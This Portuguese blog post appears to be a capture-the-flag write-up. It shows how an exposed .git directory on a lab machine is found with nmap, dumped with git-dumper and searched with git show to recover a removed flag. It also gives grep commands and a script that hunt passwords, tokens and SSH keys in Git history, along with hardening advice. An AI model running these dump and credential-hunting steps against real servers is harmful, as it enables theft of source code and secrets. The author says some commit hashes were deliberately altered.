Post

Git Exposed - Fundamentos e Exploração

Explorando vulnerabilidade Git Exposed, desde conceitos fundamentais até práticos via hacking club

Git Exposed (HackingClub Machine)

Fundamentos do Git, Versionamento e Exploração de Repositórios Expostos

Essa máquina do Hacking Club foi bem rápida de resolver, mas achei que valia a pena usar ela como desculpa pra explicar direito como funciona o Git e principalmente essa vulnerabilidade de Git Exposed que é super comum por aí. Vou focar bastante nas explicações porque mesmo sendo “simples”, tem muita coisa interessante acontecendo nos bastidores.

1. Fundamentos do Git e Versionamento

1.1 O que é Git?

O Git é basicamente o cara que cuida do histórico do seu código. Foi o Linus Torvalds que criou em 2005 (o mesmo cara do Linux), e hoje praticamente todo mundo usa. A ideia é simples:

  • Rastreamento de alterações: Cada modificação é registrada com timestamp, autor e descrição
  • Trabalho colaborativo: Múltiplos desenvolvedores podem trabalhar simultaneamente
  • Branches: Linhas paralelas de desenvolvimento para features e experimentos
  • Histórico completo: Acesso a qualquer versão anterior do código
  • Backup distribuído: Cada clone contém todo o histórico do projeto

1.2 Como o Git funciona internamente

O Git armazena informações em uma estrutura chamada repositório, que fica na pasta .git/ do projeto:

1
2
3
4
5
6
7
8
9
10
.git/
├── HEAD              # Ponteiro para branch atual
├── config            # Configurações do repositório
├── description       # Descrição do projeto
├── hooks/            # Scripts de automação
├── info/             # Informações adicionais
├── logs/             # Logs de referências
├── objects/          # Banco de dados de objetos
├── refs/             # Referências (branches, tags)
└── index             # Área de staging

Como o Git guarda as coisas:

O Git tem 4 tipos de “objetos” principais (meio chato, mas é importante saber):

  • Blob: O conteúdo dos seus arquivos
  • Tree: Como os arquivos estão organizados nas pastas
  • Commit: Um “snapshot” do projeto inteiro em um momento específico
  • Tag: Marcações tipo “versão 1.0”, “release final”

Esses códigos malucos do Git:

Cada coisa no Git ganha um código único de 40 caracteres (hash SHA-1). É tipo um CPF pra cada commit. Por exemplo:

  • a1b2c3d4e5f6... é o “CPF” de um commit específico
  • O Git pega os 2 primeiros caracteres pra fazer uma pasta
  • Os outros 38 viram o nome do arquivo dentro da pasta

Isso é importante pra entender como conseguimos baixar o repositório depois.

1.3 Comandos Git essenciais

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Visualizar histórico de commits
git log

# Ver alterações específicas de um commit
git show <hash_do_commit>

# Comparar diferenças entre commits
git diff <commit1> <commit2>

# Ver status atual do repositório
git status

# Ver configuração atual
git config -l

1.4 Conceitos de segurança no Git

Informações sensíveis comumente expostas:

  • Credenciais: Senhas, tokens de API, chaves SSH
  • URLs de produção: Endpoints internos, IPs de servidores
  • Configurações: Database strings, secrets de aplicação
  • Código comentado: Funcionalidades “escondidas”, backdoors
  • Histórico de desenvolvimento: Bugs, vulnerabilidades corrigidas

Por que o histórico é perigoso:

Mesmo que você remova informações sensíveis do código atual, elas permanecem no histórico Git. Um git log pode revelar:

  • Commits com mensagens como “removing password” ou “fixing security issue”
  • Diferenças (git diff) mostrando exatamente o que foi removido
  • Todas as versões anteriores do código

2. A Vulnerabilidade Git Exposed

2.1 O que é Git Exposed?

Git Exposed é quando alguém esquece de bloquear o acesso à pasta .git/ no servidor. Aí qualquer um pode baixar o repositório inteiro, incluindo:

  • Código fonte completo
  • Histórico de commits
  • Credenciais que podem ter sido commitadas
  • Informações sobre a arquitetura do sistema

2.2 Como acontece na prática

Como isso acontece na vida real:

  1. Deploy na pressa: Pegou a pasta do projeto e jogou tudo no servidor (inclusive o .git/)
  2. Nginx/Apache mal configurado: Esqueceu de bloquear acesso aos arquivos .git
  3. Script de deploy zuado: CI/CD copiando tudo sem filtro
  4. Desenvolvedor junior: Não sabia que .git/ é perigoso expor

Detecção automática:

Scanners como Nmap podem detectar automaticamente:

1
2
nmap -sC -sV target.com
# Script NSE http-git detecta .git/ expostos

2.3 Impacto de segurança

Riscos críticos:

  • Information Disclosure: Código fonte completo revelado
  • Credential Exposure: Senhas, tokens e chaves expostos no histórico
  • Architecture Mapping: Compreensão completa da aplicação
  • Vulnerability Research: Análise de código para encontrar bugs
  • Supply Chain Attacks: Informações sobre dependências e infraestrutura

3. Enumeração e Reconhecimento

3.1 Informações da máquina alvo

Target: 10.10.0.14 (HackingClub - Git Exposed)

O que encontrei inicialmente:

  • Site básico pedindo um “token de acesso”
  • O que eu digitava aparecia na URL como ?token=alguma_coisa
  • Sempre dava “Token Errado :p” (suspeito né?)

3.2 Scan de rede e serviços

Como sempre, comecei com um nmap bem completo pra não perder tempo:

1
nmap -F -Pn -sV -A 10.10.0.14 -vv

Explicando os parâmetros:

  • -F (Fast): Escaneia apenas as 100 portas mais comuns
  • -Pn: Pula a descoberta de host (assume que está ativo)
  • -sV: Detecção de versão dos serviços
  • -A (Aggressive): junta detecção de OS, detecção de versão (-sV), scripts NSE padrão e traceroute de uma vez — por isso o -sV acima fica redundante aqui
  • -vv: Verbose duplo para output detalhado

3.3 Resultados da varredura

Descobertas importantes:

1
2
3
4
PORT 80/tcp OPEN http
SERVICE: nginx 1.18.0
NSE: http-git: 10.10.0.14/.git/ Git repository found!
Last commit message: Removendo flag

Cara, que sorte:

O próprio nmap já achou o .git/ exposto e a mensagem “Removendo flag” entregou tudo

Já deu pra sacar:

O script do nmap já me entregou a vulnerabilidade de bandeja e já me falou onde encontrar a flag. Ou seja, se tem um repositório Git exposto e a mensagem do último commit é “Removendo flag”, sabemos que ela já teve no código e alguém tentou “escondê-la”. Só que esqueceram que Git guarda histórico de tudo, o que não seria necessariamente um problema se não tivessem colocado o .git no servidor de produção, né…

4. Explorando o Git Exposed

4.1 Verificação manual

Primeiro, vamos confirmar manualmente o que encontramos:

1
curl -I http://10.10.0.14/.git/

Resultado esperado:

1
HTTP/1.1 403 Forbidden

Coisa interessante: Mesmo que .git/ dê 403, às vezes os arquivos dentro dele estão liberados, nesse caso seria quase como se trancassem as portas enquanto deixavam as janelas abertas.

4.2 Entendendo o comportamento da aplicação

Testando a aplicação principal:

1
2
3
4
5
6
# Testando parâmetro token
curl "http://10.10.0.14/?token=teste"
# Resultado: "Token Errado :p"

curl "http://10.10.0.14/?token="
# Resultado: "Token Errado :p"

Hipótese: A aplicação é um simples script PHP que compara o token fornecido com um valor específico. Se for diferente, mostra erro. A flag provavelmente era o token correto que foi removido do código, já sabemos que a mensagem de sucesso atualmente não será mais a flag.

4.3 Ferramentas para dump de repositórios Git

GitDumper - Ferramenta especializada:

O git-dumper é uma ferramenta Python que explora Git Exposed fazendo requests inteligentes para reconstruir o repositório:

1
2
3
4
5
6
7
8
9
# Instalação
git clone https://github.com/arthaud/git-dumper
cd git-dumper
pip3 install -r requirements.txt
python3 git_dumper.py

# Criando alias para facilitar uso
echo 'alias git-dumper="python3 ~/tools/git-dumper/git_dumper.py"' >> ~/.bashrc
source ~/.bashrc

Como o GitDumper funciona na prática:

  1. Tenta arquivos conhecidos: HEAD, index, config - os “arquivos padrão” do Git
  2. Baixa o índice: O arquivo que tem a lista de tudo que existe no repo
  3. Puxa os objetos: Com a lista em mãos, baixa todos os arquivos um por um
  4. Reconstrói tudo: Monta um repositório Git funcional na sua máquina

Basicamente ele faz o que a gente faria manualmente, mas automatizado.

5. Extraindo o repositório Git

5.1 Executando git-dumper

1
git-dumper http://10.10.0.14/ git_dump

Output esperado:

1
2
3
4
5
6
7
8
9
10
[-] Testing http://10.10.0.14/.git/HEAD [200]
[-] Testing http://10.10.0.14/.git/ [403]
[-] Fetching common files
...
[-] Fetching .git/logs/HEAD [200]
[-] Fetching .git/refs/heads/master [200]
[-] Fetching .git/index [200]
[-] Fetching objects
....
[+] Repository successfully dumped

Saiu exatamente como esperado:

  • .git/ → 403 Forbidden (pasta bloqueada)
  • .git/HEAD → 200 OK (arquivo dentro da pasta liberado)
  • .git/objects/xx/xxxx... → 200 OK (outros arquivos liberados também)

Isto confirma a configuração furada: bloquearam só a listagem da pasta, mas esqueceram dos arquivos dentro dela.

5.2 Explorando o repositório baixado

1
2
cd git_dump
ls -la

Arquivos encontrados:

1
2
drwxr-xr-x .git/
-rw-r--r-- index.php

Analisando o código da aplicação:

1
cat index.php
1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['token']) and !empty($_GET['token'])){
    if($_GET['token'] == "Sup3rAdminT0k3n") {
        echo "Get the flag: [REDACTED]";
    }else{
        echo "Token errado :p";
    } # fechamento reconstruído - confira com o código real
}
?>

Exato, como eu imaginava:

✅ Script PHP bem básico mesmo
✅ A flag é mostrada via echo ao colocar o token Sup3rAdminT0k3n ✅ Trocaram a flag no echo por [REDACTED]

Agora é só caçar no histórico Git qual era a flag original que aparecia no echo!

6. Análise do histórico Git

6.1 Explorando a estrutura .git manualmente

Antes de usar comandos Git, vamos entender o que foi baixado:

1
2
cd .git
ls -la

Estrutura baixada:

1
2
3
4
5
6
7
HEAD                 # Referência atual
config              # Configuração do repositório
description         # Descrição
logs/               # Logs de referências
objects/            # Banco de dados de objetos
refs/               # Referências (branches)
index               # Área de staging

Investigando objetos:

1
2
cd objects
ls -la

Exemplo de estrutura:

1
2
3
4
5
drwxr-xr-x 0c/     # Pasta com hash iniciando em "0c"
drwxr-xr-x 2c/     # Pasta com hash iniciando em "2c" 
drwxr-xr-x 31/     # Pasta com hash iniciando em "31"
drwxr-xr-x 7e/     # Pasta com hash iniciando em "7e"
drwxr-xr-x 03/     # Pasta com hash iniciando em "03"
1
2
ls 7e/
# b5abd9b86eae8e1cf2c808ebb3220286374337 (resto do hash do commit "Removendo flag")

Como funciona essa organização maluca:

  • Hash completo: 7eb5abd9b86eae8e1cf2c808ebb3220286374337 (40 caracteres)
  • O Git pega os 2 primeiros: 7e/ (vira nome da pasta)
  • O resto: b5abd9b86eae8e1cf2c808ebb3220286374337 (vira nome do arquivo)
  • Juntando: 7e + b5abd9b86eae8e1cf2c808ebb3220286374337 = hash completo de novo

6.2 Explorando logs

1
cat logs/HEAD

Output típico:

1
2
0000000000000000000000000000000000000000 0336e992ad297e7c3303bb67128bee28a6a20d0f john <cvieira.eduardo@gmail.com> 1630681862 -0300 commit (initial): First commit
0336e992ad297e7c3303bb67128bee28a6a20d0f 7eb5abd9b86eae8e1cf2c808ebb3220286374337 john <cvieira.eduardo@gmail.com> 1630681860 -0300 commit: Removendo flag

Informações extraídas:

  • Hash do commit inicial: 0336e992ad297e7c3303bb67128bee28a6a20d0f
  • Hash do commit que removeu flag: 7eb5abd9b86eae8e1cf2c808ebb3220286374337
  • Autor: john cvieira.eduardo@gmail.com
  • Data: Fri Sep 3 12:11:08 2021 -0300
  • Mensagens dos commits: “First commit” e “Removendo flag”

6.3 Usando comandos Git para análise

1
2
# Visualizar histórico completo
git log --oneline

Output:

1
2
7eb5abd Removendo flag
0336e99 First commit

Visualizar log detalhado:

1
git log

Output detalhado:

1
2
3
4
5
6
7
8
9
10
11
commit 7eb5abd9b86eae8e1cf2c808ebb3220286374337
Author: john <cvieira.eduardo@gmail.com>
Date: Fri Sep 3 12:11:08 2021 -0300

    Removendo flag

commit 0336e992ad297e7c3303bb67128bee28a6a20d0f
Author: john <cvieira.eduardo@gmail.com>  
Date: Fri Sep 3 12:10:42 2021 -0300

    First commit

7. Encontrando a flag

7.1 Analisando o commit que removeu a flag

Agora vamos ver exatamente o que foi alterado no commit “Removendo flag”:

1
git show 7eb5abd9b86eae8e1cf2c808ebb3220286374337

Output revelador:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
commit 7eb5abd9b86eae8e1cf2c808ebb3220286374337
Author: john <cvieira.eduardo@gmail.com>
Date: Fri Sep 3 12:11:08 2021 -0300

    Removendo flag

diff --git a/index.php b/index.php
index 0336e99..7eb5abd 100644
--- a/index.php
+++ b/index.php
@@ -2,7 +2,7 @@
 <?php
 if(isset($_GET['token']) and !empty($_GET['token'])){
 if($_GET['token'] == "Sup3rAdminT0k3n") {
-    echo "Get the flag: CS{G1t_3Xp0s3d_4tt4ck}";
+    echo "Get the flag: [REDACTED]";
 }else{
     echo "Token errado :p";

🚩 BINGO! FLAG ACHADA!

1
CS{G1t_3Xp0s3d_4tt4ck}

7.2 Entendendo o que aconteceu

Análise da mudança:

  1. Linha removida: echo "Get the flag: CS{G1t_3Xp0s3d_4tt4ck}";
  2. Linha adicionada: echo "Get the flag: [REDACTED]";
  3. Flag revelada: CS{G1t_3Xp0s3d_4tt4ck} (que estava sendo mostrada no echo)

Classic mistake:

O desenvolvedor só trocou a flag no echo por [REDACTED], mas deixou a condicional com Sup3rAdminT0k3n (que nem é uma flag válida). Esqueceu que Git é tipo portal da transparência do governo - fica tudo registrado. Todo mundo que baixar o repositório vai conseguir ver exatamente o que foi mudado no echo.

8. Verificando a solução

8.1 Testando a flag

Agora que temos a suposta flag, vamos verificá-la. Saber o token Sup3rAdminT0k3n não vai funcionar para termos certeza da flag, mas como capturamos a flag do commit podemos já testar como resposta. Até então o pensamento era de que deu certo, mas também pode ser um falso positivo, visto que não segue os padrões das flags do hackingclub.

Aplicação depois e antes do último commit:

1
2
3
4
5
6
7
# Versão do último commit
curl "http://10.10.0.14/?token=Sup3rAdminT0k3n"
# Resultado: "Get the flag: [REDACTED]"

# Versão anterior ao último commit
curl "http://10.10.0.14/?token=Sup3rAdminT0k3n"
# Resultado: "Get the flag: CS{G1t_3Xp0s3d_4tt4ck}" 

Atenção: a “versão anterior/flag” não vem da aplicação remota servindo um estado antigo (o servidor mostra sempre [REDACTED]); ela é obtida do repositório Git dumpado localmente, dando git checkout/git show no commit anterior para ler o index.php antes da remoção.

Testando na máquina do hackingclub:

  • Flag com formato diferente CS{**} do padrão hackingclub{****};

  • Resultado> Realmente FUNCIONOU!! ✅

    Motivo aparente: Essa máquina era de treinamento da CrowSec (responsável pelo hackingclub) e por isso a flag tem formato diferente usando CS.

Resultado: A flag CS{G1t_3Xp0s3d_4tt4ck} - que foi encontrada no histórico de commit no Git - NÃO era falso positivo, era real. O padrão da flag somente era diferente mesmo por se tratar da antiga plataforma.

✅ Máquina resolvida! Easy peasy.

8.2 Métodos alternativos de análise

Poderão ser úteis para outros casos

Visualizando diferenças entre commits:

1
2
3
4
5
# Comparar commit atual com anterior
git diff HEAD~1 HEAD

# Comparar commits específicos
git diff 0336e99 7eb5abd

Visualizando arquivo em versão específica:

1
2
# Ver index.php antes da remoção da flag
git show 0336e99:index.php

Buscando por padrões no histórico:

1
2
3
4
5
# Procurar por "flag" em todos os commits
git log --grep="flag" -i

# Buscar mudanças que contenham "CS{ - busca por PADRÃO" 
git log -S "CS{" --source --all

9. Técnicas de Git Forensics

9.1 Análise profunda do histórico

Encontrando arquivos deletados:

1
2
3
4
5
# Ver todos os arquivos que já existiram
git log --all --full-history -- "*"

# Encontrar quando um arquivo foi deletado
git log --diff-filter=D --summary

Analisando mudanças específicas:

1
2
3
4
5
# Ver apenas mudanças em linhas específicas
git log -L 1,5:index.php

# Encontrar quando uma string foi introduzida/removida
git log -S "password" --source --all -p

9.2 Recuperação de dados sensíveis

Procurando por credenciais comuns:

1
2
3
4
5
6
7
8
# Buscar padrões de credenciais no histórico
git log --all -p | grep -i "password\|secret\|token\|api_key"

# Buscar por URLs de database
git log --all -p | grep -E "(mysql|postgres|mongodb)://.*:[^@]*@"

# Procurar por chaves SSH/crypto
git log --all -p | grep -E "(BEGIN.*KEY|ssh-rsa|ssh-ed25519)"

Analisando metadados:

1
2
3
4
5
6
7
8
# Ver informações de todos os commits
git log --format=fuller

# Verificar configurações sensíveis
git config -l

# Ver informações do repositório remoto
git remote -v

9.3 Automação de análise

Script para busca automatizada:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/bash
# git_secrets_scanner.sh

echo "=== Git Secrets Scanner ==="

# Padrões sensíveis comuns
patterns=(
    "password.*="
    "secret.*="
    "token.*="
    "api_key.*="
    "database.*url"
    "private.*key"
    "-----BEGIN"
    "ssh-rsa"
    "mysql://"
    "postgres://"
)

for pattern in "${patterns[@]}"; do
    echo "Searching for: $pattern"
    git log --all -p -i --grep="$pattern" --
    git log --all -p -S "$pattern" -i --
done

10. Como evitar essa cagada

10.1 A regra de ouro

NUNCA coloque .git/ em produção. Ponto final.

O problema todo acontece porque alguém fez deploy da pasta completa do projeto. A solução é óbvia:

1
2
3
4
5
# ❌ ERRADO: Copiar tudo
cp -r meu-projeto/ /var/www/html/

# ✅ CERTO: Só os arquivos necessários
rsync --exclude='.git' meu-projeto/ /var/www/html/

10.2 Deploy do jeito certo

Regra simples: Build local → Upload só o que precisa

1
2
3
# Exemplo básico de deploy seguro
git archive HEAD | tar -x -C /pasta-temporaria/
rsync /pasta-temporaria/ servidor:/var/www/html/

Se ainda assim cagou:

1
2
3
4
5
# Nginx: bloquear .git como emergência
location ~ /\.git {
    deny all;
    return 403;
}

10.3 Não ‘commite’ merda

Coisas que JAMAIS devem ir pro Git:

.env
config/database.php
*.key
*.pem
passwords.txt
...

Se já commitou alguma senha:

1
2
3
4
# BFG remove do histórico inteiro
java -jar bfg.jar --replace-text passwords.txt
git reflog expire --expire=now --all
git gc --prune=now --aggressive

⚠️ Aviso: Isso reescreve todo o histórico. Só faz se realmente precisar.

11. Resumo da parada

O que rolou:

  1. Alguém fez deploy com .git/ junto
  2. Nmap achou automaticamente
  3. git-dumper baixou tudo
  4. git show revelou a flag no histórico

Lição: Git nunca esquece de nada. Se commitou, tá lá pra sempre, a não ser que force uma limpeza.

Moralzinha:

  • Deploy = só arquivos de produção
  • .gitignore = seu melhor amigo
  • Git Exposed = mais comum do que deveria (HackerOne que o diga)

🚩 Flag capturada: CS{G1t_3Xp0s3d_4tt4ck}

Técnicas utilizadas:

  • Git Repository Enumeration
  • Historical Code Analysis
  • Automated Repository Reconstruction

Referências úteis

Nota educacional: Essa máquina mostra como uma configuração boba (colocar .git/ em produção) pode vazar todo o histórico de desenvolvimento. As hashes dos commits foram alteradas (mantive o início igual) para dar erro em quem só copia os comandos sem entender, mas a flag tá aí mesmo haha.

12. Resolução em VÍDEO

Resolução desta máquina documentada em vídeo, foi postado no youtube caso prefira acompanhar a resolução da máquina em áudio visual:

  • Problema com o vídeo? então clique aqui para ver diretamente do youtube.
Esta postagem está licenciada sob CC BY 4.0 pelo autor.
Curtiu? O conteúdo do Acervo de TI é gratuito e sem anúncios. Se te ajudou, você pode retribuir: 💖 GitHub Sponsors ou ☕ um café no PayPal.